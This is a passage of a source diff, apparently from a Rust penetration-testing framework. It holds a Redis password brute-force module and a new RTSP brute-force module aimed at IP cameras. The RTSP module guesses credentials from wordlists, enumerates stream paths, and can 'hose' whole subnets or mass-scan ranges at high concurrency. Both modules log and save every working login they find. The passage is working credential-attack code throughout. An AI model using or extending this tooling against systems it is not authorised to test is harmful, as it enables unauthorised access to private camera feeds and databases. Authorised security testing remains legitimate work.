if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least a password wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "redis_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
let mut passwords = Vec::new();
|
||||
|
||||
if use_acl {
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials
|
||||
if use_defaults {
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default ACL credentials", DEFAULT_ACL_CREDENTIALS.len()).green());
|
||||
} else {
|
||||
// Password-only mode: single empty username
|
||||
if usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
if !use_acl && usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available (ACL mode requires usernames)"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, p, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "redis",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/redis_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Redis responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "redis_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Redis Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Redis Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Send a PING to Redis. Returns Ok(true) if we get +PONG without auth,
|
||||
/// Ok(false) if auth is required (-NOAUTH), Err on connection failure.
|
||||
fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(&resp_cmd(&[b"PING"]))
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+PONG") {
|
||||
Ok(true)
|
||||
} else if response.contains("-NOAUTH") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected PING response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a RESP (REdis Serialization Protocol) array command.
|
||||
/// Length-prefixed format prevents injection even if args contain \r\n.
|
||||
fn resp_cmd(args: &[&[u8]]) -> Vec<u8> {
|
||||
let mut cmd = format!("*{}\r\n", args.len()).into_bytes();
|
||||
for arg in args {
|
||||
cmd.extend_from_slice(format!("${}\r\n", arg.len()).as_bytes());
|
||||
cmd.extend_from_slice(arg);
|
||||
cmd.extend_from_slice(b"\r\n");
|
||||
}
|
||||
cmd
|
||||
}
|
||||
|
||||
/// Attempt Redis AUTH login using safe RESP protocol framing.
|
||||
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
|
||||
/// On success, also sends INFO server to gather version info.
|
||||
fn attempt_redis_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
acl_mode: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
// Build AUTH command using RESP array format (injection-safe)
|
||||
let auth_cmd = if acl_mode {
|
||||
resp_cmd(&[b"AUTH", user.as_bytes(), pass.as_bytes()])
|
||||
} else {
|
||||
resp_cmd(&[b"AUTH", pass.as_bytes()])
|
||||
};
|
||||
|
||||
stream.write_all(&auth_cmd)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+OK") {
|
||||
// Auth succeeded — gather server info
|
||||
if stream.write_all(&resp_cmd(&[b"INFO", b"server"])).is_ok() {
|
||||
let mut info_buf = [0u8; 4096];
|
||||
if let Ok(info_n) = stream.read(&mut info_buf) {
|
||||
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
|
||||
// Extract version if available
|
||||
for line in info_response.lines() {
|
||||
if line.starts_with("redis_version:") {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(" [i] Redis version on {}:{} -> {}", target, port, line.trim()).cyan()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Clean disconnect
|
||||
if let Err(e) = stream.write_all(&resp_cmd(&[b"QUIT"])) { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if response.contains("-ERR") || response.contains("-WRONGPASS") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Server requires no password — treat empty-password probe as success
|
||||
if response.contains("-NOAUTH") && pass.is_empty() {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected AUTH response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,707 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use std::{
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "RTSP Brute Force".to_string(),
|
||||
description: "Brute-force RTSP authentication for IP cameras and streaming devices. Supports advanced RTSP commands, custom headers, path brute-forcing, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Advanced RTSP Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ IP Camera and Streaming Server Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports path enumeration and custom headers ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Modes: Single Target & Mass Scan (Hose) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = Arc::new(load_lines(&passwords_file)?);
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
let paths = Arc::new(paths);
|
||||
if users.is_empty() || passes.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "RTSP",
|
||||
default_port: 554,
|
||||
state_file: "rtsp_hose_state.log",
|
||||
default_output: "rtsp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
let paths = paths.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let empty_headers: Vec<String> = Vec::new();
|
||||
for path in paths.iter() {
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let addrs = [sa];
|
||||
let res = try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
user,
|
||||
pass,
|
||||
path,
|
||||
Some("DESCRIBE"),
|
||||
&empty_headers,
|
||||
)
|
||||
.await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line =
|
||||
format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] FOUND: {}:{} -> {}:{} [path={}]",
|
||||
ip, port, user, pass, path
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused")
|
||||
|| err_str.contains("timeout")
|
||||
|| err_str.contains("reset")
|
||||
{
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Subnet Scan".cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let advanced_mode = cfg_prompt_yes_no(
|
||||
"advanced_mode",
|
||||
"Use advanced RTSP commands/headers (DESCRIBE + custom headers)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = cfg_prompt_default(
|
||||
"rtsp_method",
|
||||
"RTSP method to use (e.g. DESCRIBE)",
|
||||
"DESCRIBE",
|
||||
)
|
||||
.await?;
|
||||
if cfg_prompt_yes_no(
|
||||
"load_headers_file",
|
||||
"Load extra RTSP headers from a file?",
|
||||
false,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let headers_path =
|
||||
cfg_prompt_existing_file("headers_file", "Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
target
|
||||
.strip_prefix("rtsp://")
|
||||
.unwrap_or(target)
|
||||
.split('/')
|
||||
.next()
|
||||
.unwrap_or(target)
|
||||
} else {
|
||||
target.split('/').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let target_host = if normalized.contains(':') {
|
||||
// Already has port — extract host part
|
||||
normalized
|
||||
.rsplit_once(':')
|
||||
.map(|(h, _)| h)
|
||||
.unwrap_or(&normalized)
|
||||
.to_string()
|
||||
} else {
|
||||
normalized.clone()
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = cfg_prompt_yes_no(
|
||||
"brute_force_paths",
|
||||
"Brute force possible RTSP paths (e.g. /stream /live)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = cfg_prompt_existing_file("paths_file", "Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
crate::mprintln!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
|
||||
let addr = format!("{}:{}", target_host, port);
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let mut combos = generate_combos_mode(&users, &pass_lines, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] {} credential pair(s) x {} path(s) = {} total attempts",
|
||||
combos.len(),
|
||||
paths.len(),
|
||||
combos.len() * paths.len()
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
// Loop over each RTSP path, running the bruteforce engine per path.
|
||||
// This preserves the engine's clean (user, pass) API while covering
|
||||
// the RTSP-specific path dimension.
|
||||
let mut all_found: Vec<(String, String, String, String)> = Vec::new();
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!("\n{}", format!("[*] Testing path: {}", path_display).cyan());
|
||||
|
||||
let path_c = path.clone();
|
||||
let addrs_c = resolved_addrs.clone();
|
||||
let headers_c = advanced_headers.clone();
|
||||
let command_c = advanced_command.clone();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addrs = addrs_c.clone();
|
||||
let path = path_c.clone();
|
||||
let headers = headers_c.clone();
|
||||
let command = command_c.clone();
|
||||
let display_addr = format!("{}:{}", t, p);
|
||||
async move {
|
||||
match try_rtsp_login(
|
||||
addrs.as_slice(),
|
||||
&display_addr,
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
let retryable = !msg.contains("401") && !msg.contains("403");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rtsp_credcheck",
|
||||
},
|
||||
combos.clone(),
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let path_label = if path.is_empty() {
|
||||
"NO_PATH".to_string()
|
||||
} else {
|
||||
path.clone()
|
||||
};
|
||||
for (host, user, pass) in &result.found {
|
||||
all_found.push((host.clone(), user.clone(), pass.clone(), path_label.clone()));
|
||||
}
|
||||
|
||||
// If stop_on_success and we found something on this path, skip remaining paths
|
||||
if stop_on_success && !result.found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Credentials found and stop_on_success enabled — skipping remaining paths."
|
||||
.yellow()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Final summary across all paths
|
||||
if all_found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] No credentials found (with these paths).".yellow()
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[+] Found {} valid credential(s) across all paths:",
|
||||
all_found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, user, pass, path) in &all_found {
|
||||
crate::mprintln!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
let filename = crate::utils::get_filename_in_current_dir(path);
|
||||
{
|
||||
use std::io::Write;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut file) = opts.open(&filename) {
|
||||
for (host, user, pass, path) in &all_found {
|
||||
if let Err(e) = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path) { crate::meprintln!("[!] Write error: {}", e); }
|
||||
}
|
||||
crate::mprintln!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run subnet scan using the generic subnet bruteforce engine.
|
||||
/// Loops over RTSP paths externally, running `run_subnet_bruteforce` per path.
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"rtsp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Subnet scan — RTSP path: {}", path_display).cyan()
|
||||
);
|
||||
|
||||
let path_c = path.clone();
|
||||
let empty_headers: Arc<Vec<String>> = Arc::new(Vec::new());
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users.clone(),
|
||||
pass_lines.clone(),
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file: output_file.clone(),
|
||||
service_name: "rtsp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/rtsp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let path = path_c.clone();
|
||||
let headers = empty_headers.clone();
|
||||
async move {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let addrs = [sa];
|
||||
match try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
Some("DESCRIBE"),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
// Connection errors are retryable; auth errors are not
|
||||
let retryable = msg.contains("refused")
|
||||
|| msg.contains("timeout")
|
||||
|| msg.contains("reset")
|
||||
|| msg.contains("connection");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
|
||||
Ok(())
